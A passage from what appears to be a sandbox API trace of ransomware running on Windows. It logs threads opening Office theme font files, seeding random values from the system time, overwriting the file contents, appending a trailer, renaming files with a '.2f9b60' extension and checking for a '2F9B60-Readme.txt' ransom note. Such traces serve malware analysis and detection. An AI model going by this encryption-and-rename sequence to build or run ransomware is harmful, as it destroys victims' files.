Themes 14\\Theme Fonts\\558db3a94.2f9b60", NtPathName=0x3fb2f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\558db3a94.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4310ac00 [0226.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310ac00) returned 1 [0226.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0226.376] NtQueryInformationFile (in: FileHandle=0x1040, IoStatusBlock=0x3fb2f6d8, FileInformation=0x3fb2f6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3fb2f6d8, FileInformation=0x3fb2f6e8) returned 0x0 [0226.376] NtSetInformationFile (FileHandle=0x1040, IoStatusBlock=0x3fb2f6d8, FileInformation=0x3fb2f6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0227.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314ebf0) returned 1 [0227.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f9ea0) returned 1 [0227.260] FlushFileBuffers (hFile=0x1040) returned 1 [0227.284] CloseHandle (hObject=0x1040) returned 1 [0234.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050b7f0 [0234.126] wcscpy (in: _Dest=0x2050b7f0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0234.126] wcscat (in: _Dest=0x2050b7f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0234.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0234.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b7f0) returned 1 [0234.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027beb0) returned 1 Thread: id = 1425 os_tid = 0x189c [0119.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml")) returned 0x20 [0120.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml", dwFileAttributes=0x20) returned 1 [0120.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1044 [0120.992] GetFileSizeEx (in: hFile=0x1044, lpFileSize=0x3f66f7e0 | out: lpFileSize=0x3f66f7e0*=3821) returned 1 [0120.992] SetFilePointerEx (in: hFile=0x1044, liDistanceToMove=0xee9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.992] ReadFile (in: hFile=0x1044, lpBuffer=0x3f66f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f66f7a8, lpOverlapped=0x0 | out: lpBuffer=0x3f66f760*, lpNumberOfBytesRead=0x3f66f7a8*=0x4, lpOverlapped=0x0) returned 1 [0121.550] SetFilePointerEx (in: hFile=0x1044, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0121.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0121.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8340 [0121.551] NtQuerySystemTime (in: CurrentTime=0x3f66f6a0 | out: CurrentTime=0x3f66f6a0*=132462177269446000) returned 0x0 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x5063d6d8 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x202f747c [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x2bbfe83c [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x3915893f [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x58dc4e15 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x715df96f [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x15f436d4 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x196337cb [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x1e926f40 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x7946ff8 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x5268ecf2 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x73bfc85b [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x3bca2f83 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x678f2449 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x62e4c56c [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x6a5a24ee [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x9e06b1 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x5403ca4a [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x28363734 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x4979a256 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x53196eb2 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x44e02b48 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x7d9d3076 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x591a7531 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x5b07a180 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x5486b7a7 [0121.551] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x3c0f713d [0121.552] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x23ad1e74 [0121.552] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x4945a424 [0121.552] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x6d02d3b1 [0121.552] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x7f184a80 [0121.552] RtlRandomEx (in: Seed=0x3f66f690 | out: Seed=0x3f66f690) returned 0x621dec2e [0121.560] ReadFile (in: hFile=0x1044, lpBuffer=0x20144990, nNumberOfBytesToRead=0xeed, lpNumberOfBytesRead=0x3f66f690, lpOverlapped=0x0 | out: lpBuffer=0x20144990*, lpNumberOfBytesRead=0x3f66f690*=0xeed, lpOverlapped=0x0) returned 1 [0121.561] SetFilePointerEx (in: hFile=0x1044, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.561] WriteFile (in: hFile=0x1044, lpBuffer=0x1cee9640*, nNumberOfBytesToWrite=0xeed, lpNumberOfBytesWritten=0x3f66f694, lpOverlapped=0x0 | out: lpBuffer=0x1cee9640*, lpNumberOfBytesWritten=0x3f66f694*=0xeed, lpOverlapped=0x0) returned 1 [0166.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2150 [0166.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a23f0 [0166.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a23f0) returned 1 [0166.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee9640) returned 1 [0166.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20144990) returned 1 [0166.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504e10) returned 1 [0166.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059330) returned 1 [0166.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a23f0 [0166.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059330 [0166.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504e10 [0166.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2420 [0166.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2420) returned 1 [0166.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a2420 [0166.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2480 [0166.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2450 [0166.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2450) returned 1 [0166.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504e10) returned 1 [0166.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059330) returned 1 [0166.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x42c175d0 [0166.092] SetFilePointerEx (in: hFile=0x1044, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.092] WriteFile (in: hFile=0x1044, lpBuffer=0x42c175d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3f66f7b0, lpOverlapped=0x0 | out: lpBuffer=0x42c175d0*, lpNumberOfBytesWritten=0x3f66f7b0*=0x106, lpOverlapped=0x0) returned 1 [0200.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85e0 [0200.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85e0) returned 1 [0200.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f0e0 [0200.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85e0 [0200.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83a0 [0200.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83a0) returned 1 [0200.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9ff30 [0200.143] sprintf (in: _Dest=0x1cd9ff30, _Format="%c%c" | out: _Dest="c9") returned 2 [0200.143] sprintf (in: _Dest=0x1cd9ff32, _Format="%c%c" | out: _Dest="35") returned 2 [0200.143] sprintf (in: _Dest=0x1cd9ff34, _Format="%c%c" | out: _Dest="ed") returned 2 [0200.143] sprintf (in: _Dest=0x1cd9ff36, _Format="%c%c" | out: _Dest="7f") returned 2 [0200.143] sprintf (in: _Dest=0x1cd9ff38, _Format="%c%c" | out: _Dest="18") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff3a, _Format="%c%c" | out: _Dest="0b") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff3c, _Format="%c%c" | out: _Dest="b4") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff3e, _Format="%c%c" | out: _Dest="52") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff40, _Format="%c%c" | out: _Dest="9b") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff42, _Format="%c%c" | out: _Dest="c3") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff44, _Format="%c%c" | out: _Dest="fa") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff46, _Format="%c%c" | out: _Dest="70") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff48, _Format="%c%c" | out: _Dest="51") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff4a, _Format="%c%c" | out: _Dest="87") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff4c, _Format="%c%c" | out: _Dest="ae") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff4e, _Format="%c%c" | out: _Dest="c5") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff50, _Format="%c%c" | out: _Dest="f5") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff52, _Format="%c%c" | out: _Dest="6b") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff54, _Format="%c%c" | out: _Dest="4d") returned 2 [0200.144] sprintf (in: _Dest=0x1cd9ff56, _Format="%c%c" | out: _Dest="78") returned 2 [0200.144] RtlInitAnsiString (in: DestinationString=0x3f66f828, SourceString="c935ed7f180bb4529bc3fa705187aec5f56b4d78" | out: DestinationString="c935ed7f180bb4529bc3fa705187aec5f56b4d78") [0200.144] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f66f7f8, SourceString="c935ed7f180bb4529bc3fa705187aec5f56b4d78", AllocateDestinationString=1 | out: DestinationString="c935ed7f180bb4529bc3fa705187aec5f56b4d78") returned 0x0 [0200.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858fd0 [0200.145] wcscat (in: _Dest=0x431f3fe0, _Source="c935ed7f18" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\c935ed7f18") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\c935ed7f18" [0200.145] wcscat (in: _Dest=0x431f3fe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\c935ed7f18.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\c935ed7f18.2f9b60" [0200.145] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\c935ed7f18.2f9b60", NtPathName=0x3f66f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\c935ed7f18.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205fb80 [0226.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205fb80) returned 1 [0226.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f78a0) returned 1 [0226.378] NtQueryInformationFile (in: FileHandle=0x1044, IoStatusBlock=0x3f66f838, FileInformation=0x3f66f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f66f838, FileInformation=0x3f66f848) returned 0x0 [0226.378] NtSetInformationFile (FileHandle=0x1044, IoStatusBlock=0x3f66f838, FileInformation=0x3f66f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0231.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f3fe0) returned 1 [0231.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858fd0) returned 1 [0231.006] FlushFileBuffers (hFile=0x1044) returned 1 [0234.263] CloseHandle (hObject=0x1044) returned 1 [0237.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1ce17630 [0237.678] wcscpy (in: _Dest=0x1ce17630, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0237.678] wcscat (in: _Dest=0x1ce17630, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0237.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0237.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce17630) returned 1 [0237.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027be10) returned 1 Thread: id = 1426 os_tid = 0x1898 [0119.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml")) returned 0x20 [0120.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml", dwFileAttributes=0x20) returned 1 [0120.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1038 [0120.995] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x3f51fb80 | out: lpFileSize=0x3f51fb80*=3626) returned 1 [0120.995] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0xe26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.995] ReadFile (in: hFile=0x1038, lpBuffer=0x3f51fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f51fb48, lpOverlapped=0x0 | out: lpBuffer=0x3f51fb00*, lpNumberOfBytesRead=0x3f51fb48*=0x4, lpOverlapped=0x0) returned 1 [0124.029] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0124.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611c0 [0124.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c00 [0124.029] NtQuerySystemTime (in: CurrentTime=0x3f51fa40 | out: CurrentTime=0x3f51fa40*=132462177294094000) returned 0x0 [0124.029] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x518f536a [0124.029] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x5f2a045b [0124.029] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x48153757 [0124.029] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x2ae32a69 [0124.029] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x4a30db65 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x3bba9d43 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0xbd0f0fb [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x88387c3 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x259d0ad1 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x10048411 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x3ac7dc33 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x3caf740 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x61b6ff9 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x812a2e2 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x9c37771 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x2712db0b [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x57ede28d [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x64daa80 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x40aa9af2 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x5906b573 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x37840e53 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x5caaf53f [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x6b506340 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x3d0e1fee [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x2162820a [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x432d3c6b [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0xb92e430 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x773793f5 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x132a5ca4 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x4b52b063 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0x1b8cf075 [0124.030] RtlRandomEx (in: Seed=0x3f51fa30 | out: Seed=0x3f51fa30) returned 0xdea6760 [0125.068] ReadFile (in: hFile=0x1038, lpBuffer=0x41b22d00, nNumberOfBytesToRead=0xe2a, lpNumberOfBytesRead=0x3f51fa30, lpOverlapped=0x0 | out: lpBuffer=0x41b22d00*, lpNumberOfBytesRead=0x3f51fa30*=0xe2a, lpOverlapped=0x0) returned 1 [0125.069] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.069] WriteFile (in: hFile=0x1038, lpBuffer=0x41c6e130*, nNumberOfBytesToWrite=0xe2a, lpNumberOfBytesWritten=0x3f51fa34, lpOverlapped=0x0 | out: lpBuffer=0x41c6e130*, lpNumberOfBytesWritten=0x3f51fa34*=0xe2a, lpOverlapped=0x0) returned 1 [0125.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ac030 [0125.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa0b0 [0125.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa0b0) returned 1 [0125.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c6e130) returned 1 [0125.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b22d00) returned 1 [0125.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0125.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202aa0b0 [0125.074] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0125.074] WriteFile (in: hFile=0x1038, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3f51fb50, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x3f51fb50*=0x108, lpOverlapped=0x0) returned 1 [0125.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0125.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0125.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e00) returned 1 [0125.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0125.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0125.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0125.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263500) returned 1 [0125.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cda0570 [0125.086] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="95") returned 2 [0125.086] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="06") returned 2 [0125.086] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="4f") returned 2 [0125.086] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="3f") returned 2 [0125.086] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="0a") returned 2 [0125.086] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="79") returned 2 [0125.086] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="03") returned 2 [0125.086] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="fd") returned 2 [0125.087] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="a6") returned 2 [0125.087] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="41") returned 2 [0125.087] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="d4") returned 2 [0125.087] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="f8") returned 2 [0125.087] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="14") returned 2 [0125.087] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="a8") returned 2 [0125.087] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="f7") returned 2 [0125.087] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="63") returned 2 [0125.087] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="b3") returned 2 [0125.087] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="1c") returned 2 